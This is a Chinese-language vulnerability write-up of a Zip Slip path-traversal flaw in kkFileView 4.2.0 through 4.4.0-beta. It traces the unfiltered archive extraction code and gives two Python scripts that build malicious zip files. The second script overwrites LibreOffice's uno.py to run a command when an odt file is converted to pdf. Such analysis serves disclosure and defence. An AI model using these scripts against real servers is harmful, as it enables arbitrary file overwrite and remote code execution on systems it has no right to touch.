kkFileView 的文件上传功能存在 zip路径穿越问题,导致攻击者可以通过上传恶意构造的 zip包覆盖任意文件,目标在使用odt格式转pdf格式时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容进行代码执行。
影响版本
4.2.0 <= kkFileView <= 4.4.0-beta
测试环境
4.2.0
从漏洞描述可以看出来大致是一个Zip Slip漏洞
先上传一个正常的zip
预览发现访问了/onlinePreview接口
跟进到这个接口
主要是获取文件属性存储在fileAttribute,然后通过previewFactory.get(fileAttribute)获取相应的文件预览处理器
跟进filePreviewHandle()方法
51行调用了unRar方法进行解压
跟进unRar()方法
39行打开压缩文件
40行获取文件名
41行获取文件路径
42行获取文件的简单接口
后面就是通过simpleInArchive进行遍历文件和文件夹
第56行和59行没有进行过滤,直接拼接并且创建了目录和文件输出流
可以造成任意文件上传,并且通过../可以跨目录覆盖文件
使用python创建一个压缩文件,并且通过../进行跨目录
import zipfile
def zip_slip_file(output_path):
try:
with open("test.txt", "r") as f:
binary = f.read()
zipFile = zipfile.ZipFile(output_path, "a", zipfile.ZIP_DEFLATED)
zipFile.writestr("../../../test.txt", binary)
zipFile.close()
except Exception as e:
print(e)
if __name__ == '__main__':
zip_slip_file(r'hack.zip')
跨目录上传了文件
目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容
创建一个压缩包来覆盖 uno.py,并且执行calc命令。
import zipfile
if __name__ == "__main__":
try:
binary1 = b'1ue'
binary2 = b'import os\r\nos.system(\'calc\')'
zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("hack.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../libreoffice/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
上传预览后成功写入文件
上传并预览odt文件








